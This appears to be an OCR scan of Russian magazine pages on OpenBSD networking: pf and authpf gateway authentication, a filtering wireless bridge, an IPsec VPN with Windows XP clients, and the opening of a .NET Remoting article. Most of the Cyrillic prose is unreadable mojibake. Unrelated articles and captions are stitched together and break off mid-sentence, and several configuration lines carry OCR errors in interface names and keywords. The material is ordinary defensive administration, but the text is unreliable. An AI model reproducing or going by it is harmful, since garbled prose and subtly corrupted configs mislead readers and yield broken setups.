port 3389 tag RDP -> $rdp_server

pass in log quick on $ext_if tagged RDP flags S/SA synproxy state

21

a OAaée /etc/shells &Taaaeyol T4 NEdacdo). Tae aaoT-
decacee TTEICTAAa04EY TT ssh & 0dé6UIeT Tdadeeal
Oeei0da TaéaoTa i TTI TUUp 0aé Tachaadi ao yéTodé
(anchors) 46460 T8efTaaeT1ai T8aaeea, 6éacaiiaa
a 6aéea /etc/authpf/authpf.rules, €84T a /etc/authpf/ users/
$USER. A 4T4246y41 00 T02428a0 ATT6Meadony en-
TTélcTaared cadacadaesTaaiiao 1aesmita $user_id
& $user_ip, ca ii+40 T0TA00 46440 TATENGTAE0U AA0T-
Taoe+aneay TTancaiTaéa eiaie e IP-aadana 1Taéép-
+@AAATNY TTEUCTAA0AEY (cTa+aTey TaésThTa fi+eod-
oe-+anée).
Agy Ta+agarae-

daé. A&y yOTAT 4T4a4eT care-

786 Haééa login.conf(5) cafTReT faAaATey

géanna authpf, TTélicTaaoaee ETOTOTAT 4 éa-
T

QxSAS Mrxcmaxx
afoaa noaraado

TAT @aééa 46400 TTE6+aol authpf:

authpf:\
:shell=/usr/sbin/authpf:\
stc=default:

.9 e

éyai dyweédTraaiiop daco aaiiad /etc/login.conf.db:

# cap_mkdb Zetc/login.conf

T4 40441 TA0ATTOAA&EYOU cia+aifey &edaéoead
anchor é table 1T 61 Té+aiep, TTyoT16 Oaéé auth-
pf.conf Tioaaeyai 1onoai:

# echo -n > /etc/authpf/authpf.conf
TTaidT0a4604347T T8€440M0AATITA iTTatIATed auth-
pf.message (afaété /etc/motd):

This service is for authorised clients
only. Please play nice.

TAT TTEUGTaa0d8y, ETOTO0E TdeTaaes-
authpf, 46Ta€0 4 486716 authpf & 4 éa+a-
ATéT+6e TTEé6+ado /usr/sbin/authpf:

# useradd -m -c "authpf nat user® -g
authpf -L authpf \

-s /usr/sbin/authpf andrushock

# passwd andrushock

NTcaad1 TAaTo T02aeE OAEdATEA 48 TTEICTAA0E-

&y andrushock (ATTode éenceia 3):

# mkdir -p /etc/authpf/users/andrushock

geadioa T0ed01aad@ll 8paTé ssh-eeeaio
utty ééé SecureCRT), iTcaaaai
ep, 6éactiaadai IP-aadai @épca, 81y TTelcT-
aa0dey e, T6é TaTadTaeiThoe, danTTeéTeaTed 104-
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A EAxANOAA ENTTEUCOATTE TA ACOATOEOEEAOETTITIE @QEPCA
TTADAOETTTTE NENOATU TTAA0 AUNOOTAOU EPAAR

EC FREE/OPEN/NET/DRAGONFLYBSD

S8 XA A A e €A X8
fila T0ade&ulT TanooTaiT,
décavee Toaaeea 6aéodaT-

licTaaoaey egiaiyony, e

c:\putty> plink.exe -pw mypassword
andrushock@192.168.1.1

Hello andrushock. You are authenticated
from host ""192.168.1.2"

This service is for authorised clients
only. Please play nice.

. ~ 29 Anm e~

x0Ta0 TTAOTYTIT 14 adTaeol TadTél, 1TeiT Tafio-
8Te0l aboaioededadep Ta dacd Toaee+TTaT éép+a.
A&y TTélicTaaodey andrushock 337488641 Tado
8ép+aé (Naedaoiae & Toage+iaeé):

# sudo -u andrushock ssh-keygen -t rsa

ATAaaaeyal Toaee+10¢ éép+ A fTenTe adoToecTaai-

# cp /home/andrushock/.ssh/id_rsa.pub
/home/andrushock/ . ssh/authorized_keys

E 46y 6aééa authorized_keys 6fidaiaaéeaadi e1o-

8380104 Tdada aTnoora:
# chown andrushock:authpf
/home/andrushock/ . ssh/authorized_keys

-  BacaTdee i iddadsTl 0ddTerasTa. Aadaé dan-

ATToseT TOETA8. ATToM0eT, TomiT e aTT4a TTE6-
+200 ATROGT & & TROSO6ONETT 6 A0AAS0 0ABT & TAETA,
BANITETEATITIO cA @EPCTT (ETOTONE 0abea TasT-
480y & &TR080604).

fiTcaadT TTATAT TTEUGTA2046Y rdp:

# useradd -m -c “authpf rdp user®™ -g
authpf -L authpf \

-s /usr/sbin/authpf rdp

# passwd rdp

# mkdir -p /etc/authpf/users/rdp

T0aéeé

ATHOOT & NABAASE6 AT RTASTA «@GATA»:
c:\putty> plink.exe -pw mypassword
rdp@81.211.11.11

Hello rdp. You are authenticated from
host ""81.211.22.22"

This service is for authorised clients
only. Please play nice.

O&TA01 467 86@AT0A81.211.22.22 T2 @épca 81.211.11.11
T80 3389/tcp 40440 TOBANI0 AT 083 T8, 1T6A 1TEICTAA-
0&éii rdp A TET4 Ssh-6664T0a T4 Taa1 40 ETT A8 Tasep ésa-

aé@ <Ctrl+C>. And, ATROGT TTEG-AT:

c:\putty> mstsc.exe /v:81.211.11.11:3389

2>  ETT08TEU A60AT08ORBRSTAATTO0 TTEUGTAAdA-
&46. 0aé 6aé @0adT04 6086200 w & who T4 ATTATATO

2 s PN 2 eAN A

T0AaTR0adeyol 6iecaduina eaaioedeeaoTol 10T-

% ps ax | grep authpf
3884 pl Is+ 0:00.01 -authpf:
andrushock@192.168.1.2 (authpf)

84T A TTiTUlp pfetl:
# pfctl -a authpf -sA
authpf/andrushock(3884)

Caaniu authpf — Tacaaied yéTay, andrushock — &1y
TTaéep+eamddTiy TTEUCTAA0aEY, 3884 — Gieéaci-
T0€ eaaioedeeanTsd T8ToaNnNa TATET+ée authpf.
TTATT08800 TAOATTEOSHEdTAAT TOE TAATO TOA-
466 OaédATEA 48y TTEUGTAa048Y andrushock TTeTT 0aé:
# pfctl -a "authpf/andrushock(3884)" -s nat
# pfctl -a "authpf/andrushock(3884)" -s rules

T30 2ABATES «BOBAAT » TTEICTAADAEY &¢ AdAOAT O
# Kill ~TERM 3884

> aoTe8l. A cadep+aiee Tagicy Ta 61TiV-
7000 T 0T, +0T pf 1Ta486xeaad0 040 1TETACP Tafi-
fiea Té fiefiod-

, & Taged Neéad ToTecaTaeoi

2

) -
o

Oetlodadep TaéaoTa fa THiTad TOTa+a0éTa oTnoTa,
efeoeedTaaaoed Tadeiaied (& T6e14d0, pass in
quick on $int_if from any os «Windows XP» keep state).
YOT 1 Teedo foaol iddiacTaT TTARTTOUAT A& TTHO-
dTaiey adoaroeoeéacet
TaanTa+eol 1a 0TEUET eTacaeadaciité aTnooT é

fodfal Naoe, T e ATITETe0déiT0é 65TAAT catieod

Toe efiTTélcTaaree nadaenta ©

om {$clientl, $client2 }
to any -> ($ext_if)

!E_)_EA‘B,C{EA IP E MAC client2: 192.168.2.3, pass in on ralO src
N LR up BRlDE(4) 00:80:c8:2c:47:al 00:80:c8:2c:47:al tag client2
E PF(4) block in on ral0
84426083041
letc/bridgename.bridge0: fiTcaadT & TTATeTA4T
add ralo TRAAETONOSTENOAT bridge:
blocknonip ral0 # 1fconfig bridgeO create
DaniiTodeT T0e14d TodaTnoaasarey éée- 1ink0 # sh /etc/netstart bridge0
afoal (aaaifTi féo+ad — aanTeTaraiai) -discover ral0
aTio6Ta & danoonai Naoe fi T1oeaycéTé IPé  —learn ral0 36y ToTa4B6e TETAHT 0082347
MAC fi TTiTUlp bridge & pf. A 421171 figo-  Flushall e7OTdTa0ep T adeaza:

-)

Tcaaiey 1TMoa aTRoaoT-1T TaiTd
AT0004TTA4T NA0AATAT eT0ad04aéMa ralo (yoT
b/g). EAGTATOA 42T T04 (4 4844 «&TY 6ThoA:
IP-a408ai, MAC-a40afi»):

server: 192.168.2.1

clientl: 192.168.2.2,
00:0f:ea:91:43:f6

static ral0 00:0f:ea:91:43:f6
static ral0 00:80:c8:2c:47:al
up

rulefile /etc/bridge.conf

834280238647 /etc/bridge.conf:
pass in on ralO src
00:0f:ea:91:43:f6 tag
clientl

# brconfig bridgeO

834280238647 /etc/pf.conf:
ext_if = "fxp0"

wifi_if = "ral0"
clientl = "192.168.2.2"
client2 = "192.168.2.3"

nat on $ext_if inet fr-

block in quick on $wifi_if
from ! $clientl to any
tagged clientl

block in quick on $wifi_if
from ! $client2 to any
tagged client2

block return

pass quick on { 100,
$wifi_if } inet all

pass quick on $ext_if inet
all keep state

T488¢a386a41 Ta4TO
«B683fa0Ta» OaédaTea:
# pfctl - /etc/pf.conf
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1TeiT catieoeodl
A3NTETATATO6 WinXP
éT1aeé VPN.

&  TaalPsec. Agy fiTcaarey VPN 1Ta00 efrTelcT-
Aa00NYy TOTOTETED IPsec, SSL éée PPTP. 041 14 1&-
TTaadéypuidd aTéloeinoaT dacdadTo+-eéTa

+0afed Tas-

-0T IPsec adeé
Ta+aiey aacTr 0&

E AANTDTATATUO WINXP-EEEATOTA

IDIOIEIETA

Andrey Matveey|
andrushock@real.xakep.ru

€aai6eaciiTioe aariao Tadnra+eaapony ca
+40 efiTTelcTaarey 1adafeciTa adoaroeoedacee e
peddTaaTey. AGoaioedeeasey alim 0

, éa-

IP Security — yoT 64€0€ TadTd TOTOTETETA

fiaptiedny aTroTiTa seddTaaiey, acodioedesaoee
& T4ara+aiey catieo 18e 08aiiTTo0edTaéa IP-Ta-

ASAmA R Me0 A A A A a AN TN NN 2R RN T A A
gaota. A itaoedeéadee IPsec daadaioee 6aéTnoiThoe

(Encapsulating Security Payload — eiéarfioéedtaai-

704 catieVdiind 4aifnd). Taaw

TOTETEA aTaaa-

1760468 wireless ATTasiee o
— Lfae — —
192.168.2.2 ipsec > (ralo) — REREER) (fxp0) I5Taa6aao
192.168.2.1

Noaia 1l




&
Naéoey TAUAAT Tacra+arey:
T TTA0TOTA, TOTATERE0ABUTT
a, 1P-aa8an T8TNEOwEaadiTaT
aanTepoilté TéoU é 6aéed
fi IPsec-TTéeoeéaie
[General]
Retransmits= 5
Exchange-max-time= 120
Listen-on= 192.168.2.1
Policy-File= /etc/isakmpd/isakmpd.policy
#Tada+eneyai dach nTaaeiaieé & nrcaadi
ATenTé IPsec-001T14caé
[Phase 1]
Defaul t=SECUREWLAN-1
[SECUREWLAN-1]
Phase= 1
Transport= udp
Configuration= Default-main-mode
Authentication= mypassword
[Default-main-mode]
DOI= IPSEC
EXCHANGE_TYPE= 1D_PROT
Transforms= AES-SHA
[Phase 2]
Passive-connections= SECUREWLAN-2
[SECUREWLAN-2]
Phase= 2
I1SAKMP-peer= SECUREWLAN-1
Configuration= Default-quick-mode
Local-I1D= wlan-router
#Caaadl 1209800 aey eiéarioeedTaaiiad
fiTaaeraireé
[wlan-router]
I1D-type= IPV4_ADDR_SUBNET
Network= 0.0.0.0
Netmask= 0.0.0.0
#08achaadil ToAATT+e0ad104 ToTOTETEq,
28080, OfoTé+eala é éTeéeceyi
#0Oyg-00T60ee, a 0aéed efrTélicTaared
daxzeéia Perfect Forward Secrecy
[Default-quick-mode]
DOI= IPSEC
EXCHANGE_TYPE= QUICK_MODE
Suites= QM-ESP-AES-SHA-PFS-SUITE
[AES-SHA]
ENCRYPTION_ALGORITHM= AES_CBC
KEY_LENGTH= 128,128:256
HASH_ALGORITHM= SHA
AUTHENTICATION_METHOD= PRE_SHARED
GROUP_DESCRIPTION= MODP_1024
[QV-ESP-AES-SHA-PFS-SUITE]
PROTOCOL_ID= IPSEC_ESP
Transforms= QM-ESP-AES-SHA-PFS-XF
[QV-ESP-AES-SHA-PFS-XF]
TRANSFORM_ID= AES
KEY_LENGTH= 128,128:256
ENCAPSULATION_MODE= TUNNEL
AUTHENT ICATION_ALGOR I THM=HMAC_SHA
GROUP_DESCRIPTION= MODP_1024

Aadeeo0ul, +0T TTHeAA0a0 ca cadTEéTaeTi IP.

éyou ndaa 1

WiFi-0401Té

40 T2 44cA *BSD?
TTHeAaTyy aaoney (fa 1T14
T

-\
=
b
=4
o
=11
D
-
@
<:

fivactieé — 3.9) 6elodandeipdt
Taelcy 6+23a 1 83380 4ey

efifiee. Yoa TradaveTifay feficdia Taeaaado
TOABBANTTE BAaeecaseadé fiodéa TCP/IP & T8TOTET-
8aIPSec. ESTT4 0TAT, & 44 TF0A4 A6TAS0 Toge+T0é
aésate Packet Filter (pf) & &31TT1 isakmpd, T0T-
0é TaanTa+eaado 8aaToo 1T TOTOTETES TaTaia
46080701 e éép+aie (ISAKMP). Efivace, 1aiodTeé-
a FreeBSD, NetBSD & DragonflyBSD 464a0 Toée-
+a0uny TaneeuiT.

Taga 14034y ndaia
6

- -/

J

™ St Ox

a0aeyaes fedaspuei
45acT (11 T08& ABAT6 1). CAAfU rald — YoT fA0a-
Té & T0A00A6M, GASBATEATTOE ca PCI'TTE a30T+-
é Gigabyte GN-WPKG 802.11 b/g & TiéUafioasyp-

€€ 0aaToo i

» =)

)

c o

Ta11-TT +afoToiTi éafagad (chan 11) 4 6314 0T+
&é &Tnoora (mediaopt hostap) fi 6Teéaguiai eaaioe-
OeeaoTaT1 fdoe (nwid wian).

# vi /etc/hostname.ral0

inet 192.168.2.1 255.255.255.0 NONE

media autoselect mode 11g \

mediaopt hostap nwid wlan chan 11

TAT ééedioa (0anoedTaaied To1-
& il WinXP SP2) iTToadofoaop e

TAdacT1 TanodTara 1TTééoeéa IPSec, 4ani 416084 1T-

Teé 00a0eé 46440 meddTaaUNY ca N+ao Todaieca-

TadTeUTTé 68ach («preshared key» — 46481 Tac(-
A200 TATTT 038, +0TA0 ecAdmadl T60aTe6q il 850
aeie eep=aie).

TPETAXATEA: TANODTEEA TPTA

A1 TT isakmpd (8)

L9

IPSec-00TTagaé, enTTelcoy Toe yoTi dacee+10a aé-

106010 gedaoTaaiey (3des, idea, cast, blowfish, aes

25

46y 20564604 esp_enc_alg T8ToTéTéa ESP) & T40T-
40 a60aToeOeeA0Re (T THITAA TASTEUTTE O3ACO,

a TagTeuiTé 6dacd, i1
on a2 am

+efiéa wlan-ééeaiota fa

KeyNote-Version: 2

Authorizer: "POLICY"
Conditions: app_domain == "IPsec policy" &&
doi == "ipsec" &&
ah_present == ""no" &&
esp_present == "yes" &&
(esp_enc_alg == "aes" && esp_auth_alg ==
“hmac-sha') &&
esp_encapsulation == "tunnel™ &&
pfs == "yes" -> "true";

AQfoaaeyaoii 6To5460T0A TOAAA A6y ETTOITA:

# chown root:wheel /etc/isakmpd/isakmpd.*
# chmod 600 /etc/isakmpd/isakmpd.*

E carofiéadoi 441 TT 14 TOAR00, TOAEAA0E0EEITT
Toéacaagefil To efTTélUcTaaTey TOTOTETEA IPV6 €
daaeecacee NAT-Traversal:

# isakmpd -4T

AdBe0aeooda

10T0TéTE ESP 10T0TéTE AH

AgiToeoi
aooaroedesavee

v v

AgiToeol
éraeoraaiey

Tasanou
> | eToasToAcABES | <
(DOI)

~

OT5aa84 188 eep-aie

AdBe046008a IPsec
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@
# Tauyaeyai 1aesrna

enc_if = "encO"

int_if = "ral0O”

vpn_client = "192.168.2.2/32"

# Dacodwadi & 53aenoseddai aTnooT é isakmpd (500/udp)

pass in log quick on $int_if inet proto udp from $int_if:network \
to $int_if port isakmp keep state

# Dacddwadl ToTOTeadled capeddTaaliTaTr 0dadeéa

pass in on $int_if inet proto esp from $vpn_client to $int_if
pass out on $int_if inet proto esp from $int_if to $vpn_client
pass in on $enc_ifT inet proto ipencap all

pass in on $enc_if inet from $vpn_client to $int_if:network

pass out on $enc_if inet from $int_if:network to $vpn_client

institut# vi /etc/ipsec/ 3)
/* A TOBAAT+ITI 0dxeid & 740 ataTayony f1a yédai aac enrreiaiey,
ET11410886a1 */

#DEBUG=echo

/* I1P-aadana ETEacliTaT & 0aaéadriTar éTiTupoddta */
GW_LOCAL=81.211.11.11

GW_REMOTE=81.211.22.22

/* 0éac0aadi CIDR-iToavee Taged TTandodé */
LOCAL_NETWORKS="192.168.1.0/24"

REMOTE_NETWORKS="192.168.2.0/24"

/* ADAdaTi0d 140Tal géddTaaiey e adodioedeeasee */

ENC=3des

AUTH=shal

/* Nrdoeasiind eradeni TadaidodTa AAcTraniTioe aey ATcaairey ooiiTasy */
SP1_0OUT=1000

SPI_IN=1001

/* A4nTepoitd Tooe & daéeai i eep+aie */
KEYFILE=/etc/ipsec/esp-enc-key

AUTHKEYFILE=/etc/ipsec/esp-auth-key

CaTdTn Tada+iy aaénoacpued IPSec-o06iiTagaé e aéoeaild carenaé a (4)
# ipsecctl -s all

FLOWS:

flow esp in from 192.168.2.2 to 0.0.0.0/0 peer 192.168.2.2 srcid 192.168.2.1/32
dstid 192.168.2.2/32 type use
flow esp out from 0.0.0.0/0 to 192.168.2.2 peer 192.168.2.2 srcid 192.168.2.1/32
dstid 192.168.2.2/32 type require
SAD:
esp tunnel from 192.168.2.1 to 192.168.2.2 spi OxOebbadc6 auth hmac-shal enc aes \
authkey 0xfd16f0b81db91b0774925454d42d55976ecabc8a \
enckey Oxdff666aeb0427784cdf72603a1029fe7
esp tunnel from 192.168.2.2 to 192.168.2.1 spi 0xc7163b7e auth hmac-shal enc aes \
authkey 0x263e372620e0eb1b5c72¥189e009c8896c90c9be \
enckey 0x6db690dc6b158e32e484705ee7db47ce

2  &TTOea68avRY ABATATA0YHA. Acy 6aaTod IPSec
TaTa T 103000 TT80 500/udp, TT ETOTATT6 440
TATai nddoeoecacaie e éep+aie, a 0aéed dacda-
@e0l TOTOTeAATe4 cAoeOITAATITAT 0da0eea. Eg-
141Vl 1524662 OACOATEA (11 TOdE 8EM0eT42).

N TTiTUlp ¢adacadaedTaaiimaT 1aédTna
«network» Trd4aa6yaofy CIDR-1Toadey n&oe. A fa-

2200 192.168.2.0/24 (1 afiéa VTaRA0E 255.255.255.0).
E 242300 06acaied @oadiTé 6086804 pfctl (8)

Tada+e0aol TaaTd «86EaNa0Tax»:
# pfctl -f /etc/pf.conf

< TafOTOTTA 88&AT0A. Esedioneay
IPSec & WinXP TATEUTT 60T 1 e0déiia é

&0 TOTOTeead 184 6€03TOT ITAT éaafioa

1 START = RUN - GATOREAAGU MMC;

2 FILE - ADD/REMOVE SNAP-IN — IP SECU-
RITY POLICY MANAGEMENT — LOCAL
COMPUTER — FINISH — CLOSE;

3 ACTION — CREATE IP SECURITY POLICY —
N ACTIVATE THE DEFAULT RESPONCE
RULE — EDIT PROPERTIES TNOAAERAGU
TAOPTITOOUT — NEXT — FINISH;

4 NEW IP SECURITY POLICY - PROPER-
TIES — ADD — NEXT = TUNNEL

ENDPOINT — THIS RULE DOES NOT SPECI-
FY A TUNNEL - NETWORK TYPE — LOCAL
AREA NETWORK (LAN) = AUTHENTICATION
METHOD — USE THIS STRING TO PROTECT
THE KEY EXCHANGE (PRESHARED KEY) —
JETC/ISAKMPD/ISAKMPD.CONF — IP FILTER
LIST - ADD — ADD — NEXT —» SOURCE
ADDRESS — MY IP ADDRESS — DESTINA-
TION ADDRESS — A SPECIFIC IP

ADDRESS — 192.168.2.1 —» SELECT A PRO-
TOCOL TYPE — ANY, 0 - ONOATAAEEAA-
AU AAETEO EDIT PROPERTIES —
FINISH - TDTAADRAGU AAAAATTUA
TANOPTEEE - OK;

5 NEW IP FILTER LIST » NEXT — FILTER
ACTION — REQUIRE SECURITY — EDIT -
SECURITY - TOTAXAA@U SESSION KEY
PERFECT FORWARD SECRECY (PFS) —

OK — NEXT = FINISH — APPLY — OK

6 CONSOLE1 — FILE — SAVE;
7 TADACAADOEAAGUNR, EEAT TADACA-
TONEAA@U NADAERN IPSEC SERVICES
(EOxDA TADACAADOCEOUNR);

8 START = RUN = MMC - FILE — CON-

SOLE1 —» NEW IP SECURITY POLICY —
ASSIGN.



% netstat -nr -f encap
Routing tables
Encap:

Source Port Destination Port
192.168.2.2/32 0 default 0
default O 192.168.2.2/32 0 0

# tcpdump -netttvvi encO

Proto

Oaaéeda 1adgdooecadee aéy eiéarnoeedraaiilo fitadeiraieé

()

SA(Address/Proto/Type/Direction)
0 192.168.2.2/esp/use/in
192.168.2.2/esp/require/out

(6)

tcpdump: WARNING: encO: no IPv4 address assigned

tcpdump: listening on encO, link-type ENC

Sep 20 22:49:51.844143 (authentic,confidential): SPI Oxc7163b7e: 192.168.2.2 >

192.168.2.1: 192.168.2.2.1452 > 192.

168.2.1.22: . [tcp sum ok] 1696328699:1696328699(0) ack 749361456 win 16560 (DF)

(ttl 128, id 43693, len 40) (ttl 128,
id 43693, len 60)

Sep 20 22:49:51.862522 (authentic,confidential): SPl1 OxOebbadc6: 192.168.2.1 >

192.168.2.2: 192.168.2.1.22 > 192.168.2.2.

1452: P 1:85(84) ack 0 win 17640 [tos 0x10] (ttl 64, id 29061, len 124) [tos 0x10]
(ttl 64, i1d 21941, len 144, bad cksum O! differs by 9f51)

# tcpdump -y ieee802_11_radio -eni ralO

)

tcpdump: listening on ralO, link-type IEEE802_11_RADIO

22:51:32.024954 0:d:61:7a:4b:12 > 0:13:2:95:be:9c, bssid 0:d:61:7a:4b:12, DS >:
802.11: data: truncated-ip — 90 bytes missing!esp

192.168.2.1 > 192.168.2.2 spi OxOEBBADC6 seq 257 len 74 [tos 0x10], <radiotap vO,

chan 11, 11g>

22:51:32.025841 0:d:61:7a:4b:12 > 0:13:2:95:be:9c, bssid 0:d:61:7a:4b:12, DS >:
802.11: data: truncated-ip — 74 bytes missinglesp
192.168.2.1 > 192.168.2.2 spi OxOEBBADC6 seq 258 len 74 [tos 0x10], <radiotap VO,

chan 11, 11g>

A ea+anoad aeioddiaoeal 1TeiT ATATTEUGTAA0IAY
TOTAGAT 141 € ipsecpol.exefipseccmd.exe (€¢ ET1 Té48-
0a Win2k/WinXP Support Tools), SSH Sentinel, TheGre-
enBow VPN Client, éeaT SafeNet SoftRemoteLT.

2 TOTieéTTadied a efioeooonédp fidol. Eas aa-
déaio, 1TelT Toéacaouny To efiTTélucTaaiey isakm-
pd & TTATT0da0l & NOTATT6 ipsecadm(8) — T&Tadal -
10 6T8a6aTey catietiaiTai e iTaaerareyie. xoT-

fodfadeé, éTaaa e fa eifoeddonéTT, & faaTiagial
nadaada onoarTasaia *BSD.

NiTode Ta fidaT6 2. TTAEAATAA0AEUTT fiTcaa-
aol 4aa éép+a: Taei agy geddTaarey odadeéa

(SHA1, 160 bit).

# mkdir -m 700 /etc/ipsec
# openssl rand 24 | hexdump -e "24/1

Naou
192.168.2.0/24

Noaia 2

> internet ———>

"%02x" " > /etc/ipsec/esp-enc-key

# openssl rand 20 | hexdump -e "20/1
"'%02x"" > /etc/ipsec/esp-auth-key

# chmod 600 /etc/ipsec/esp-*-key

Aagadd, TTelT ATATTEICTAA0INY FAAETITI &¢ 8aoa-

éTaa /usr/sharelipsec (i1 Tode éeficeia 3):

# cp /usr/share/ipsec/rc.vpn
/etc/ipsec/rc.vpn

46a46a NedeTo 40440 ada-
roadéaie:

#DEBUG=echo
GW_LOCAL=81.211.22.22
GW_REMOTE=81.211.11.11
LOCAL_NETWORKS=''192.168.2.0/24"

ATiaoieé

RERLER > Ipsec

81.211.22.22
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REMOTE_NETWORKS="192.168.1.0/24"
ENC=3des
AUTH=shal

# ATeiared: cadnu ciatarey SPI-éiadé
iaiypony ianoai

A4
1anoa
SPI1_0OUT=1001
SP1_IN=1000
KEYFILE=/etc/ipsec/esp-enc-key
AUTHKEYFILE=/etc/ipsec/esp-auth-key

ITiéa 0TaT, éaé A TTITUUP T8TAGAT 10 Aac¢Tran-
ITaT éTredtaainey scp (8) éep~+e /etclipsec/esp-enc-
key & /etc/ipsec/esp-auth-key 46460 Tad3aaia éée-
af00, TRoaraony 0TEUET ¢cardénoeol rc.vpn Ta éase-
AT &g 6TAOTA:

institut# sh /etc/ipsec/rc.vpn
home# sh /etc/ipsec/rc.vpn

E ] EECEY CEREL Y (o

fieoli 6 yada TradaveTiiTé Nefiodia Tada+aru
43éM0adptied IPSec-001Taedé e aéoeaiad carenaé

4 daca SADB (Security Association Database — aaca
aarfad catievdiiao itaaerareé), iTelT aTirTéd-
¢cTaaolny @oaoiTé 6oeeeoté ipsecctl (8) (A1 Tode éefi-
0814 4). TTé6+00 0846006 T1ad3d00ecavee ey ei-
garioeesTaaiiao nTaaerareé iTeiT A TTiTUlP
netstat (1) (1 Tode éenoeia 5). Agy 6aagaiey anao

IPSec-TToTéTa adTTéTC éTT1ATA0:

# ipsecadm flush

2> TTNE6@eaadT cawpeddTaalfad &affdaa.
THAAATONOSTENOAT enc (4) TOAAM0AAEYA0 ATATE ATA-
0é e710a00aéN Tada0TTé Taoée, TTcaTéyp-
uéé ToTecataeol Oeélodadep IPSec-0dadeéa

o SN AR y-

& TOTNTa08e4a0l T8TOTeaa 164 A0TAyUIE6/endTa
raaoo at aéarnou

(180 TABA0TA TAOAA 04T, 628 Tie

ESP- & AH-T3TOTETETA. A&y A0TTETATRY YOTE TTA-
davee TATA0TARTT TAGA4A0l T02AAT & ATASTTEN-
cTaavaey (i To0e sefioeia 6). TanTToaddM0ARA &TTo-

BTfie0meaaied — 1a 1iaaar-

&10400461i4. A 0T, ~0T 10 6aeaeT Ta aT00daTTal

-/

ATAROT TTNONEBRTO6TA. OaéeT TadacTi, 1de-

aafiay n6adTa 0aaTon afiT-acaiee fi agoaioede-
0 1

—~zox

ANE xS | x ey e aciss xa
anaduac caiyouny Tadnra+airedi cacie-

a
aal

00 3044TAT 00aOEea TOTATATTAT eée 4anNTdTaTa-
TTAT WinXP-géedioa. E, 0T fai T4 ToeyoiTa, 44dT-
YorTAOU G0d+éé eTTOeAAT0CABUTTE
T8 Ta0aaa+a a1 100 62a eféép+ara

ET0e000neeeé Naou
nasaas 192.168.1.0/24
81.211.11.11
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28 AEOAA A EATAEA 34 ATOOPE NAOE 38 TA NODAZA TTBRAEA 44 DPACAAAEA ATAT

#Z \N \ A N\
A A N I’ N\ =mm

TACTDP E AACTTANTTNOU ADOEOAEOOPU
NENOATU EATAETA A WINDOWS VISTA
AYTTOO WINDOWS XP T TTAEA NAOAAUA ETT TOTEEAOEE
TNOUANOAEREERNU xAPAC N NTEAOU, ETOTPUA TNTTAUAAEENU
TAEAETI-EEAT TA 'DTOTETEA TADAAAXE AATTUO. NTEAOU
DATAEE E DPAGAPO TITTAT CAAAx ETT NAE AATU, TT OAOTTETAEE
DAQAEAADONB E TANTATO NOAPUT TPEOTARO ATEAA TTAUA
offbit security team (sulverus@mail.ru

0461TéTaey .NET Remoting Td&4f0aaéyao AiTaTé oa-

aéecadep darda 13 4Té01aT10e6Taai 1006 AT¢H Tee-

iTioaé éaiaeTa (channels), idtiancadpried aéy aca- g 5,

eiTe °en0aey |6ee|aea|ee AgaaTaady aarité 0ao- et

i 0 64 Tadaciaouny 07 17TaTa3344-

é A TOeETeaieé e aaxd ai rada-

fiTcaadaol yoe Taudeoh a aeifaie+anéTteé raiyoe 140, ToTadal-

AATAAT ATT14f1a. TAT an&d Tépnad & Te16fiad, adTia- ceTeaTey A, 6T-

atéiTnoe é oycaeiTnoyd .NET Remoting TTéaao 0TOTA

83+ & yoTé fivaocua. ay

2 280e036068a eaTa&Ta .NET Remoting. x&i
TEETOeTEAGUTT Tia Toéé+aaony To 1é6ead+iTé
048TTETAGE iTEAOTA? AT-TABAN06,

a0fy T4 Ta TAiTi, a Ta TanéTéeuéesd
fidaco (anee 1ée fitcaaree iTédoca ataedaaony 1a-
e TOTOTETE, TaTdeT A0, tcp é&é udp, OTEUET 44T &
40480 pcaol). Toe 6aaTod ®a fi .NET Remotmg
fiTcaadony TaaTo éaraeta 1a éa=aldé 1810 :
eATTEUGOAT 016 TOeETxATEAT. xA80&c earaél Toaei(é TAu&eo +4d&c Earaé A. TTe6+ea Taudéo,
ATaeiT T4d3d4a4a00 epadp et adTTe

o

OTdTa0ep, 404l 0T TOTAdAT 14 1TeA0 6AATOA0U N TeT, A0TTETYoU 44T
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TA0TAO é carTeiyou 34T na
A .NET Framework 2.0 8&agé

®

<configuration>
<system.runtime.remoting>

ITicdaieé yaegyaony aanodaéo <application>
Ganoasao aey oTart, +otad <service>
fiTcaadaocl éafaed fa TiAiTaa <wel lknown mode="'Singleton™” type="NetRemooting_Real .NRR, NetRemooting_Real"
Earaen 1Ta6 acaeiTcaia objectUri="RemoteObjectPort" />
cia+eo0déuiT 1TTalimadony aacTr </service>
+0Tal TéeETeATey 14 TA8ATO0 <channels>
aa+e aaiifad e 0 e <channel ref="http" port="5000" secure=""true' protectionLevel="EncryptAndSign"
Ganoasao oT1o impersonate=""true" TokenlmpersonationLevel="Impersonation'>
&, [of <serverProviders>
<1--ATO 060 1TeiT cadadl éaéed-Teadal 1TAT0A Tadai4od0 nadadda-->
</serverProviders>
</channel>

<channel ref="tcp" port="5001" secure="true" protectionLevel="EncryptAndSign"
impersonate=""true" TokenlmpersonationLevel="Impersonation'>

<serverProviders>

<1--ATO 0060 1TeiT cadadl éaeed-ieadau i

</serverProviders>

</channel>

<channel ref="ipc" portName="mylPCPort" secure="true"
protectionLevel="EncryptAndSign" impersonate=""true"
TokenlmpersonationLevel="Impersonation’>

<serverProviders>

<1--ATO 000 1TeiT caaaol éaéed-ieacai i

</serverProviders>

</channel>
</channels>
</application>
</system.runtime.remoting>
</configuration>

Configuration, &
Tau&eota. Agy
ting efiTTélcoa
time.Remoting. Afio&fio

iey. . ‘5aasATey >  OAABACAGRY TBETADA AGAST TaA6MdARY. AFTTI-
iaé a 00 a 6aaé o il ToTada

aoTo T 0Th0d

Sy i 141 System.Runtime.Remoting.Lifetime). T

Cha 4 6480 6140l yoT aaeaou,
iTio

. CIIDOWS systemdomilexe

e System.Runtime.Remoting.Channels.Tcp, Sys-
tem.Runtime.Remoting.Channels.Http & System.-
Runtime.Remoting.Channels.Ipc. EATT&lic6Y yoe égari-
0 TTelT 40ET Taroyiop AOTOTedTAd0U EaTaé

8 x~ AN x

T08ON0U &3T. TATAET &¢-ca 8aGeT-0T 46peTa eee
é

otepad iz running

Oaa+1T Tadanease esann 1a nadadd
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nels.Http & Channels.lpc & (; TeeT, ITAUA T80T T4 8eafn, 8TOTB0E 46440 TA0AAAAA0UMY T fidde O04T&30 TaTesdl ToTA0a1 10, ETOTAY 40440 ToeTe-

TOTATyé caddocéd +adac Oaéel éTioedodacee! public class NRR : Ta00 ééanii NRR é eéfTTelcTaaol 43T 1T AT T10 T6Y-

